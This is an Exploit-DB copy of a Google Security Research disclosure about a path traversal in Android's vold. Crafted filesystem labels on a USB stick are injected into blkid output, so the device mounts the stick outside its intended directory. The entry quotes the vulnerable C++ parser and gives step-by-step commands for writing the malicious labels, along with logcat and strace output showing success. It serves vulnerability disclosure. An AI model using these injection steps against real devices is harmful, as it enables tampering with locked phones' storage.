Exploit-DB #45192
Description: Android - Directory Traversal over USB via Injection in blkid Output
Type: local
Platform: android
Date: 2018-08-13
Author: Google Security Research

Exploit:
When a USB mass storage device is inserted into an Android phone (even if the
phone is locked!), vold will attempt to automatically mount partitions from the
inserted device. For this purpose, vold has to identify the partitions on the
connected device and collect some information about them, which is done in
readMetadata() in system/vold/Utils.cpp. This function calls out to "blkid",
then attempts to parse the results:


    std::vector<std::string> cmd;
    cmd.push_back(kBlkidPath);
    cmd.push_back("-c");
    cmd.push_back("/dev/null");
    cmd.push_back("-s");
    cmd.push_back("TYPE");
    cmd.push_back("-s");
    cmd.push_back("UUID");
    cmd.push_back("-s");
    cmd.push_back("LABEL");
    cmd.push_back(path);

    std::vector<std::string> output;
    status_t res = ForkExecvp(cmd, output, untrusted ? sBlkidUntrustedContext : sBlkidContext);
    if (res != OK) {
        LOG(WARNING) << "blkid failed to identify " << path;
        return res;
    }

    char value[128];
    for (const auto& line : output) {
        // Extract values from blkid output, if defined
        const char* cline = line.c_str();
        const char* start = strstr(cline, "TYPE=");
        if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) {
            fsType = value;
        }

        start = strstr(cline, "UUID=");
        if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) {
            fsUuid = value;
        }

        start = strstr(cline, "LABEL=");
        if (start != nullptr && sscanf(start + 6, "\"%127[^\"]\"", value) == 1) {
            fsLabel = value;
        }
    }


Normally, the UUID string can't contain any special characters because blkid
generates it by reformatting a binary ID as a printable UUID string. However,
the version of blkid that Android is using will print the LABEL first, without
escaping the characters this code scans for, allowing an attacker to place
special characters in the fsUuid variable.


For example, if you format a USB stick with a single partition, then place a
romfs filesystem in the partition as follows (on the terminal of a Linux PC):

    # echo '-rom1fs-########TYPE="vfat" UUID="../../data"' > /dev/sdc1

and then connect the USB stick to a Nexus 5X and run blkid as root on the
device, you'll see the injection:

    bullhead:/ # blkid -c /dev/null -s TYPE -s UUID -s LABEL /dev/block/sda1
    /dev/block/sda1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs"


logcat shows that the injection was successful and the device is indeed using
the injected values, but vold doesn't end up doing much with the fake UUID
because fsck_msdos fails:

05-29 20:41:26.262   391   398 V vold    : /dev/block/vold/public:8,1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs" 
05-29 20:41:26.262   391   398 V vold    : 
05-29 20:41:26.263   391   398 V vold    : /system/bin/fsck_msdos
05-29 20:41:26.263   391   398 V vold    :     -p
05-29 20:41:26.263   391   398 V vold    :     -f
05-29 20:41:26.263   391   398 V vold    :     /dev/block/vold/public:8,1
05-29 20:41:26.264   813  2039 D VoldConnector: RCV <- {652 public:8,1 vfat}
05-29 20:41:26.264   813  2039 D VoldConnector: RCV <- {653 public:8,1 ../../data}
05-29 20:41:26.265   813  2039 D VoldConnector: RCV <- {654 public:8,1 TYPE=}
05-29 20:41:26.281   391   398 I fsck_msdos: ** /dev/block/vold/public:8,1
05-29 20:41:26.285   391   398 I fsck_msdos: Invalid sector size: 8995
05-29 20:41:26.286   391   398 I fsck_msdos: fsck_msdos terminated by exit(8)
05-29 20:41:26.286   391   398 E Vold    : Filesystem check failed (no filesystem)
05-29 20:41:26.286   391   398 E vold    : public:8,1 failed filesystem check
05-29 20:41:26.286   813  2039 D VoldConnector: RCV <- {651 public:8,1 6}
05-29 20:41:26.287   813  2039 D VoldConnector: RCV <- {400 48 Command failed}
05-29 20:41:26.288  2532  2532 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,1}:
05-29 20:41:26.288  2532  2532 D StorageNotification:     type=PUBLIC diskId=disk:8,0 partGuid=null mountFlags=0 mountUserId=0 
05-29 20:41:26.288  2532  2532 D StorageNotification:     state=UNMOUNTABLE 
05-29 20:41:26.288  2532  2532 D StorageNotification:     fsType=vfat fsUuid=../../data fsLabel=TYPE= 
05-29 20:41:26.288  2532  2532 D StorageNotification:     path=null internalPath=null 


For a relatively harmless example in which vold actually ends up mounting the
device in the wrong place, you can create a vfat partition with label
'UUID="../##':

    # mkfs.vfat -n 'PLACEHOLDER' /dev/sdc1
    mkfs.fat 4.1 (2017-01-24)
    # dd if=/dev/sdc1 bs=1M count=200 | sed 's|PLACEHOLDER|UUID="../##|g' | dd of=/dev/sdc1 bs=1M
    200+0 records in
    200+0 records out
    209715200 bytes (210 MB, 200 MiB) copied, 1.28705 s, 163 MB/s
    198+279 records in
    198+279 records out
    209715200 bytes (210 MB, 200 MiB) copied, 2.60181 s, 80.6 MB/s

Connect it to the Android device again while running strace against vold:

    [pid   398] newfstatat(AT_FDCWD, "/mnt/media_rw/../##", 0x7d935fe708, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory)
    [pid   398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0
    [pid   398] fchmodat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0
    [pid   398] fchownat(AT_FDCWD, "/mnt/media_rw/../##", 0, 0, 0) = 0
    [pid   398] mount("/dev/block/vold/public:8,1", "/mnt/media_rw/../##", "vfat", MS_NOSUID|MS_NODEV|MS_NOEXEC|MS_DIRSYNC|MS_NOATIME, "utf8,uid=1023,gid=1023,fmask=7,d"...) = 0
    [pid   398] faccessat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", F_OK) = -1 ENOENT (No such file or directory)
    [pid   398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", 0755) = 0

Check the results:

    bullhead:/ # ls -l /mnt
    total 32
    drwxrwx--- 3 media_rw media_rw 32768 2018-05-29 20:54 ##
    drwx--x--x 2 root     root        40 1970-01-01 04:14 appfuse